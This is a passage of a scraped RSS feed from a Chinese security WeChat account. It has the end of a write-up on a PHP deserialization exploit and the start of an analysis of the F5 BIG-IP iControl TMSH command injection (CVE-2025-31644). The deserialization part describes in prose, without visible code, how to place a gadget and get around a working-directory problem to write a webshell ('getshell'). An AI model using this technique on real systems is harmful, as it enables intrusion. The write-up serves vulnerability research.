style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008463" class="rich_pages wxw-img" data-ratio="0.2566111655239961" data-type="png" data-w="1021" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=8c556c2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibR9PUWzr3kQAUjwibUDd9WycTIC8EolywicfXEsu7uQUZZ0ibdrmbroEK8g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">因此可以通过控制字符串长度让其与 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_from</span></p><span leaf=""> 进行闭合，然后将 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">gadget</span></p><span leaf=""> 放在 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_from</span></p><span leaf=""> 后面，这样也可以触发反序列化操作，并且不存在限制问题：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008466" class="rich_pages wxw-img" data-ratio="0.455078125" data-type="png" data-w="1024" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=d7652f2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRAjz9R9cwYJsQicvMx5kRJzj7b4TesJibqv3ylkBq5O9VPZ1gmzVUUBZQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">如何实现文件写入</span></h2><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">从原理上看，反序列化触发路径应该与 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">index.php</span></p><span leaf=""> 相同，均位于 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Web</span></p><span leaf=""> 目录，但是调试发现命令执行时工作目录变成了系统根目录，因权限不够导致无法写入 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">shell</span></p><span leaf=""> 。分析后发现问题出在 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">proc_open</span></p><span leaf=""> 函数，这里参数 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">cwd</span></p><span leaf=""> 被设置为了 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">null</span></p><span leaf=""> ，导致工作目录被重置为 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/</span></p><span leaf=""> ：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008467" class="rich_pages wxw-img" data-ratio="0.2925636007827789" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=db665e54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRukELIo2Dky6O2lt5qTFDpxu7lbLvUsicAowEjBhscicUlfRqHxZUCtzw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">绕过方法非常简单，最终成功 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getshell</span></p><span leaf=""> ：</span></div><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100008503" class="rich_pages wxw-img" data-ratio="0.3283582089552239" data-s="300,640" data-type="png" data-w="938" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=48bfacef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRYmlboLeD6r4UJvQVnOBrv7QQj7x7sISNQmpqib9gp8CFgFVrVUhd9hQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><br/></span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><p><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 1.4px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=df50c971&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRt54m0Ht8UqEiallcZQSIXhO8DCyEGicD8C39oluCEs3yk9k7YyFfMesg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=427460a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRSibmH6Q19s8KUB5shk9iacuSLWPsqx0NShdJRTd08G91SHj0O0RrZdHQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e663bd8a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRgq6NWQBsD4vSeXJXQQE9CjnkZphFmMic4WvMAAvGT86ibshhXZIdpp9w%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=09c55696&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibR6oHiaaHPRc2tzYRgvBVdCUnZtSDslxIqicl5m7d4hGsXHpWj9T1FNmJg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3bd3dcfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRk9bH2m1Z58bZQ8eWDFN2jZ8ib9vzm5An1L5nGGXupIEc8gZH8L5e2Sw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f6e8804b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRBLU4J3v5v7dGprjxRsdHRt10ml5DrficpS2z7a8ZsiaLnpicxFNEseLKw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f55a00c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRjogkILiasCrjp8NIfibIKPMVHrT7vib2pVgcXXujy5vApvOtDoJ2M8P0A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c285f6fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRaA0FicCKQsyynbYHmEWxcqYFnwIF50s859Xia9SBh61P3yShjJlcltSQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=fac2ff4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRfOuTlbCTsUr2m3KqDLYSsHkxVpluU1Yo3K6sMuCRPEETKa2F8qRkQQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b8c868af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRLFkicSQR7q4PwedeiawHNHJDbk32j4GtfFX2uzialrxtjDmbBSA1zCu2g%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=80c017c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibReXM8mYvwGy1lb47XNBhhNlObribakQ2CoN3lG60DaTDcU6CMKic0VJXQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f68aef6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRcXcMMaTXEbMvLTGNY97Hlhfao73sSFTMRR1sCCia6uv8X3yA97V7sRg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=99491ddd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRY14F6VWzGt3gEb6l8NYA0Sdk1BibP1hweJxCMMCC9a4nFQicbOInJI5w%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=122d044c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibR0ocvumqZerRnqwNwficvbR4nJ95N0fRcAFjAVpmUdvHX9woWxYMoO8w%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=16fa6cc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibR9PUWzr3kQAUjwibUDd9WycTIC8EolywicfXEsu7uQUZZ0ibdrmbroEK8g%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a0f0d84a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRAjz9R9cwYJsQicvMx5kRJzj7b4TesJibqv3ylkBq5O9VPZ1gmzVUUBZQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0918fc38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRukELIo2Dky6O2lt5qTFDpxu7lbLvUsicAowEjBhscicUlfRqHxZUCtzw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8b2a17fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxrK6qEqmoZfnLp1UfvEWibRYmlboLeD6r4UJvQVnOBrv7QQj7x7sISNQmpqib9gp8CFgFVrVUhd9hQ%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247492152">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8ac18edc&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492152%26idx%3D1%26sn%3D9880c257352e81a69012ac2327d46c1b">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 08 Jun 2025 07:30:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2025-31644 F5 BIG-IP iControl TMSH 接口命令注入漏洞深入分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492045&amp;idx=1&amp;sn=4aa5d92ab474e19ac263cf91acdef793</link>
      <description>结合最新的 CVE-2025-31644 命令注入漏洞，深入分析 F5 BIG-IP iControl TMSH 接口实现机制和漏洞触发原理。</description>
      <content:encoded><![CDATA[<p>
原创 <span>KCyber</span> <span>2025-06-02 08:01</span> <span style="display: inline-block;">北京</span>
</p>

<p>结合最新的 CVE-2025-31644 命令注入漏洞，深入分析 F5 BIG-IP iControl TMSH 接口实现机制和漏洞触发原理。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3e9c1076&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F9UsWg6ibZLAxOmYlBuOMXTeYLrEqymOF9gL3ibtChU8pgqRJw3k37ibB09EaelPL1ibCMH5helusPg7e3Ah4I9B7LQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 0px auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">漏洞概述</span></h2><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">F5 BigIP iControl</span></p><span leaf=""> 服务提供了一套 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TMSH</span></p><span leaf=""> 的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: 